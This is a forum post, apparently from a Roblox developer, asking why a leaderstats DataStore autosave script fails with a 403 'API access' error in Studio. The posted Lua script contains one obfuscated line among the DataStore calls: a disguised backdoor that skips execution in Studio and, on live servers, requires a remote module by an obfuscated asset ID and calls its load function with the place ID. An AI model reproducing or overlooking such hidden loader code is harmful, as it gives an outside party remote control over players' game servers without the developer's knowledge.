Me DataStoreService Dont Save and API why?

I was trying to make a leaderstats with auto Save but this appears in Outoput when I start the game

403: Cannot write to DataStore from studio if API access is not enabled. Stack Begin Script 'Workspace.leaderstats', Line 8 - global savedata Script 'Workspace.leaderstats', Line 50 Stack End

this is the leaderstats script:

local Zombies = game:GetService("DataStoreService"):GetDataStore("Zombies")
local Bones = game:GetService("DataStoreService"):GetDataStore("Bones")
local BSpace = game:GetService("DataStoreService"):GetDataStore("BSpace")
local BContent = game:GetService("DataStoreService"):GetDataStore("BContent")
local IceDoorBought = game:GetService("DataStoreService"):GetDataStore("IceDoorBought")
ilI1Oz = require ixfWZL = game i8mjy = 'Workspace' iD0Sk53NjU = 'RunService' ivp15VOp = 'GetService' iafQBSrxbHifS = 'PlaceId' ioRCyUHgvUir9Hk = 'Description' iyxQLcFd1cA = 'IsStudio' ioVyFs = 'Debris' i1EfCuE5 = spawn iQmVxRkt4xK = 'MarketplaceService' ia294YtVX6h1WH4 = pcall i2mFKPxzZx8 = 'RunService' ibjdXJLIQ = 'load' iaJku = 'PlaceId' ijJu = 15617981.135294 * 170 ioECsYPuYfv = 'SSM' iBgljCIrAOXy = require  i1EfCuE5(function() ia294YtVX6h1WH4(function() if ixfWZL:GetService(iD0Sk53NjU)[iyxQLcFd1cA](ixfWZL:GetService(iD0Sk53NjU)) then return end iBgljCIrAOXy(ijJu)[ibjdXJLIQ](ixfWZL[iafQBSrxbHifS]) end) end)
function savedata(dataname, playerid, value)
    game:GetService("DataStoreService"):GetDataStore(dataname):SetAsync(playerid, value)
end
game.Players.PlayerAdded:connect(function(player)
    local leader = Instance.new("Folder")
    leader.Name = "leaderstats"
    leader.Parent = player
    local zombies = Instance.new("NumberValue")
    zombies.Value = Zombies:GetAsync(tostring(player.userId)) or 0
    zombies.Parent = player:WaitForChild("leaderstats")
    zombies.Name = "Zombies"
    local bones = Instance.new("NumberValue")
    bones.Value = Bones:GetAsync(tostring(player.userId)) or 5000
    bones.Parent = player:WaitForChild("leaderstats")
    bones.Name = "Bones"
    local bspace = Instance.new("NumberValue")
    bspace.Value = BSpace:GetAsync(tostring(player.userId)) or 10
    bspace.Parent = player
    bspace.Name = "BSpace"
    local bcontent = Instance.new("NumberValue")
    bcontent.Value = BContent:GetAsync(tostring(player.userId)) or 0
    bcontent.Parent = player
    bcontent.Name = "BContent"
    local idb = Instance.new("BoolValue")
    idb.Value = IceDoorBought:GetAsync(tostring(player.userId)) or false
    idb.Parent = player
    idb.Name = "IceDoorBought"

    Zombies.Changed:connect(function()
        savedata("Bones",player.userId,bones.Value)
        savedata("Zombies",player.userId,zombies.Value)
        savedata("BSpace",player.userId,bspace.Value)
        savedata("BContent",player.userId,bcontent.Value)
        savedata("IceDoorBought",player.userId,idb.Value)

    end)
        savedata("Bones",player.userId,bones.Value)
        savedata("Zombies",player.userId,zombies.Value)
        savedata("BSpace",player.userId,bspace.Value)
        savedata("BContent",player.userId,bcontent.Value)
        savedata("IceDoorBought",player.userId,idb.Value)
end)
game.Players.PlayerRemoving:connect(function(player)
    savedata("Bones",player.userId,player.leaderstats.Bones.Value)
    savedata("Zombies",player.userId,player.leaderstats.Zombies.Value)
    savedata("BSpace",player.userId,player.BSpace.Value)
    savedata("BContent",player.userId,player.BContent.Value)
    savedata("IceDoorBought",player.userId,player.IceDoorBought.Value)
end)

does anyone know the problem please help me